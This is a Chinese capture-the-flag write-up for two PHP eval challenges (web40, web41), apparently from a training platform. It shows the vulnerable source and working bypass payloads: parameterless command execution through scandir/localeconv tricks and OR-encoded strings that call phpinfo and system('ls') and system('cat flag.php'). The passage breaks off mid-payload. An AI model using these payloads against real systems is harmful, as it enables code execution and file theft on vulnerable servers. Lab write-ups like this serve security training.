文章目录
eval
web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
因为''
等等被过滤了,相当于无参数rce
/?c=var_dump(scandir(current(localeconv())));
localeconv() 返回一包含本地数字及货币格式信息的数组,该数组第一个元素是
.
current() 返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
读文件
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()函数以相反的元素顺序返回数组
next() 将内部指针指向数组中的下一个元素
理论上开启session对话的方式应该也可以,但是平台最近被xss了?可能cookie不能整了
web41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
大佬写得通杀脚本
https://blog.youkuaiyun.com/miuzzx/article/details/108569080
[0-9]|[a-z]被过滤,所以应该是无数字字母的rce,$、+、-、^、~
被过滤,所以用|
phpinfo
c=("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")()
//system('ls')
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")
//system('cat flag.php')
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|